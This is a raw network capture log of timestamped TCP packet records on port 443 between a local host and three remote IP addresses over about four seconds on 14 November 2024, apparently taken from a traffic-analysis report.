Nov 14, 2024 20:43:37.955374002 CET	443	49925	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:37.957659960 CET	49925	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:37.957668066 CET	443	49925	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:37.958010912 CET	443	49925	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:37.958635092 CET	49925	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:37.958695889 CET	443	49925	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:37.958924055 CET	49925	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:37.999366045 CET	443	49925	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:38.009852886 CET	443	49928	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.010308981 CET	443	49928	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.010385036 CET	49928	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.010462999 CET	49928	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.010499954 CET	443	49928	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.010534048 CET	49928	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.010550976 CET	443	49928	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.013355017 CET	49933	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.013374090 CET	443	49933	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.013537884 CET	49933	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.013711929 CET	49933	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.013725042 CET	443	49933	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.196228981 CET	443	49929	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.196794987 CET	49929	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.196877956 CET	443	49929	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.197345972 CET	49929	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.197360992 CET	443	49929	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.228101015 CET	443	49925	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:38.228276014 CET	443	49925	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:38.228444099 CET	49925	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:38.228610992 CET	49925	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:38.228610992 CET	49925	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:38.228626966 CET	443	49925	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:38.228816032 CET	49925	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:38.327081919 CET	443	49929	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.327249050 CET	443	49929	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.327399015 CET	49929	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.393902063 CET	443	49927	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:38.406955004 CET	49927	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:38.406977892 CET	443	49927	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:38.407550097 CET	443	49927	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:38.430067062 CET	49927	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:38.430294991 CET	443	49927	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:38.479336977 CET	49927	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:38.542850971 CET	443	49931	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.591519117 CET	49931	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.641660929 CET	49927	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:38.648945093 CET	49929	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.649017096 CET	443	49929	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.649055958 CET	49929	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.649075985 CET	443	49929	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.655193090 CET	49931	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.655210972 CET	443	49931	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.656424999 CET	49931	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.656441927 CET	443	49931	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.662672043 CET	49934	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.662744045 CET	443	49934	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.663333893 CET	49934	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.664000034 CET	49934	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.664033890 CET	443	49934	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.687325954 CET	443	49927	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:38.689461946 CET	49935	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:38.689554930 CET	443	49935	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:38.689682007 CET	49935	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:38.690378904 CET	443	49932	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.690438032 CET	49935	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:38.690474987 CET	443	49935	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:38.691576004 CET	49932	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.691608906 CET	443	49932	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.692261934 CET	49932	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.692272902 CET	443	49932	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.763057947 CET	443	49933	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.763544083 CET	49933	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.763565063 CET	443	49933	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.764233112 CET	49933	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.764240980 CET	443	49933	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.781569958 CET	443	49931	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.781624079 CET	443	49931	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.781702995 CET	49931	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.781892061 CET	49931	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.781936884 CET	443	49931	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.781968117 CET	49931	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.781985044 CET	443	49931	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.788446903 CET	49936	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.788487911 CET	443	49936	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.788623095 CET	49936	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.788863897 CET	49936	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.788893938 CET	443	49936	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.828587055 CET	443	49932	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.828968048 CET	443	49932	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.829030037 CET	49932	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.829113960 CET	49932	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.829159975 CET	443	49932	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.829190016 CET	49932	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.829206944 CET	443	49932	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.834870100 CET	49937	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.834928989 CET	443	49937	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.835020065 CET	49937	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.835354090 CET	49937	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.835383892 CET	443	49937	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.895644903 CET	443	49933	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.895797968 CET	443	49933	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.895843983 CET	49933	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.896069050 CET	49933	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.896080017 CET	443	49933	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.896092892 CET	49933	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.896097898 CET	443	49933	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.898189068 CET	49938	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.898273945 CET	443	49938	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.898355007 CET	49938	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.898546934 CET	49938	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.898581028 CET	443	49938	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.902635098 CET	443	49930	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.903017998 CET	49930	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.903053045 CET	443	49930	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.903384924 CET	49930	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:38.903398991 CET	443	49930	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:38.923823118 CET	443	49927	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:38.923928022 CET	443	49927	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:38.924026012 CET	49927	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:38.925127029 CET	49927	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:38.925151110 CET	443	49927	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:38.926201105 CET	49939	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:38.926222086 CET	443	49939	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:38.926322937 CET	49939	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:38.926565886 CET	49939	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:38.926579952 CET	443	49939	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:39.181853056 CET	443	49930	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.182024002 CET	443	49930	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.182122946 CET	49930	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.182267904 CET	49930	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.182306051 CET	443	49930	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.184931040 CET	49940	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.184951067 CET	443	49940	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.185115099 CET	49940	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.185262918 CET	49940	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.185277939 CET	443	49940	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.399158001 CET	443	49934	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.399610996 CET	49934	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.399663925 CET	443	49934	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.400022984 CET	49934	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.400036097 CET	443	49934	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.819180012 CET	443	49934	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.819374084 CET	443	49934	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.819516897 CET	49934	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.819622040 CET	49934	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.819647074 CET	443	49934	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.819663048 CET	49934	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.819669962 CET	443	49934	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.822411060 CET	49941	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.822438955 CET	443	49941	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.822510004 CET	49941	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.822726011 CET	49941	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.822740078 CET	443	49941	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.823971987 CET	443	49936	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.824209929 CET	443	49935	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:39.824369907 CET	49936	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.824445963 CET	443	49936	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.824600935 CET	49935	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:39.824611902 CET	443	49935	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:39.824784040 CET	49936	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.824801922 CET	443	49936	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.824986935 CET	443	49935	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:39.825330019 CET	443	49937	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.825360060 CET	49935	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:39.825433016 CET	443	49935	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:39.825520039 CET	49935	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:39.825753927 CET	49937	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.825834990 CET	443	49937	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.826179981 CET	49937	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.826196909 CET	443	49937	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.826704979 CET	443	49939	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:39.827020884 CET	49939	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:39.827028990 CET	443	49939	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:39.827630997 CET	443	49938	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.827946901 CET	49938	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.827982903 CET	443	49938	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.828309059 CET	49938	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.828321934 CET	443	49938	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.828469038 CET	443	49939	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:39.828521013 CET	49939	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:39.828852892 CET	49939	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:39.828929901 CET	443	49939	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:39.828963995 CET	49939	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:39.869477034 CET	49935	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:39.869508982 CET	443	49935	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:39.869543076 CET	49939	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:39.869556904 CET	443	49939	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:39.915643930 CET	49939	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:39.955147982 CET	443	49940	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.955575943 CET	49940	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.955600023 CET	443	49940	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.955976009 CET	49940	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.955982924 CET	443	49940	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.957876921 CET	443	49937	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.958007097 CET	443	49937	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.958050013 CET	443	49938	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.958074093 CET	49937	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.958156109 CET	49937	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.958156109 CET	49937	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.958199024 CET	443	49937	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.958233118 CET	443	49937	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.958333015 CET	443	49938	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.958400011 CET	49938	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.958477020 CET	49938	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.958477020 CET	49938	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.958518028 CET	443	49938	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.958544970 CET	443	49938	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.960881948 CET	49942	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.960905075 CET	443	49942	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.960975885 CET	49943	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.960994005 CET	49942	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.961024046 CET	443	49943	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.961153984 CET	49942	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.961155891 CET	49943	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.961169958 CET	443	49942	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.961288929 CET	49943	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.961304903 CET	443	49943	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.967547894 CET	443	49936	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.967677116 CET	443	49936	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.967732906 CET	49936	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.967775106 CET	49936	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.967775106 CET	49936	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.967792988 CET	443	49936	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.967814922 CET	443	49936	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.969866037 CET	49944	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.969922066 CET	443	49944	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:39.970125914 CET	49944	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.970267057 CET	49944	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:39.970297098 CET	443	49944	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.088356018 CET	443	49940	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.088387012 CET	443	49940	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.088489056 CET	443	49940	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.088547945 CET	49940	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:40.088634014 CET	49940	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:40.088644028 CET	443	49940	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.088653088 CET	49940	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:40.088656902 CET	443	49940	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.091058969 CET	49945	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:40.091092110 CET	443	49945	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.091267109 CET	49945	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:40.091442108 CET	49945	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:40.091450930 CET	443	49945	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.092998028 CET	443	49935	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:40.093161106 CET	443	49935	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:40.093357086 CET	49935	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:40.093899965 CET	49935	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:40.093915939 CET	443	49935	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:40.101491928 CET	49946	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:40.101501942 CET	443	49946	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:40.101551056 CET	49946	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:40.101749897 CET	49946	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:40.101758003 CET	443	49946	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:40.138411999 CET	49947	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:40.138499022 CET	443	49947	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:40.139066935 CET	49947	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:40.139903069 CET	49947	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:40.139942884 CET	443	49947	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:40.140502930 CET	49948	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:40.140522957 CET	443	49948	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:40.140614986 CET	49948	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:40.140780926 CET	49948	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:40.140790939 CET	443	49948	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:40.178900003 CET	443	49939	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:40.228812933 CET	49939	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:40.228835106 CET	443	49939	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:40.230308056 CET	49939	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:40.230603933 CET	443	49939	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:40.230818987 CET	49939	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:40.231111050 CET	49949	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:40.231199026 CET	443	49949	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:40.231342077 CET	49949	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:40.231594086 CET	49949	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:40.231635094 CET	443	49949	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:40.735892057 CET	443	49944	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.736109018 CET	443	49941	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.737740040 CET	443	49942	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.738066912 CET	49944	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:40.738087893 CET	443	49944	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.738679886 CET	49944	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:40.738686085 CET	443	49944	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.738928080 CET	49941	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:40.739001036 CET	443	49941	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.739198923 CET	49941	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:40.739212990 CET	443	49941	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.739382029 CET	49942	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:40.739411116 CET	443	49942	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.739654064 CET	49942	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:40.739658117 CET	443	49942	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.827728033 CET	443	49945	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.828229904 CET	49945	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:40.828246117 CET	443	49945	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.828649998 CET	49945	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:40.828655005 CET	443	49945	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.886218071 CET	443	49942	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.886240005 CET	443	49942	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.886285067 CET	443	49942	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.886286020 CET	49942	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:40.886317015 CET	443	49944	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.886368036 CET	443	49944	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.886373043 CET	49942	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:40.886425018 CET	443	49941	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.886425018 CET	49944	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:40.886431932 CET	443	49944	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.886492968 CET	49944	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:40.886576891 CET	443	49941	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.886756897 CET	49941	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:40.914736986 CET	443	49949	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:40.957618952 CET	443	49945	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.957695007 CET	443	49945	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.957856894 CET	443	49945	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:40.957911968 CET	49945	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:40.975238085 CET	49949	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:40.996284008 CET	443	49946	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:41.027097940 CET	443	49947	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:41.028392076 CET	443	49948	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:41.043193102 CET	49946	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:41.069258928 CET	49948	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:41.071743011 CET	49947	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:41.073162079 CET	49942	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.073179960 CET	443	49942	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.078975916 CET	49945	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.078999043 CET	443	49945	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.079035997 CET	49945	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.079042912 CET	443	49945	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.084314108 CET	49944	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.084314108 CET	49944	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.084381104 CET	443	49944	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.084415913 CET	443	49944	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.084605932 CET	49941	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.084673882 CET	443	49941	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.084707022 CET	49941	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.084724903 CET	443	49941	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.085119963 CET	49946	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:41.085127115 CET	443	49946	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:41.085127115 CET	49949	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:41.085191965 CET	443	49949	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:41.085210085 CET	49948	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:41.085232019 CET	443	49948	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:41.085329056 CET	49947	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:41.085355997 CET	443	49947	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:41.085702896 CET	443	49948	188.119.66.154	192.168.2.4
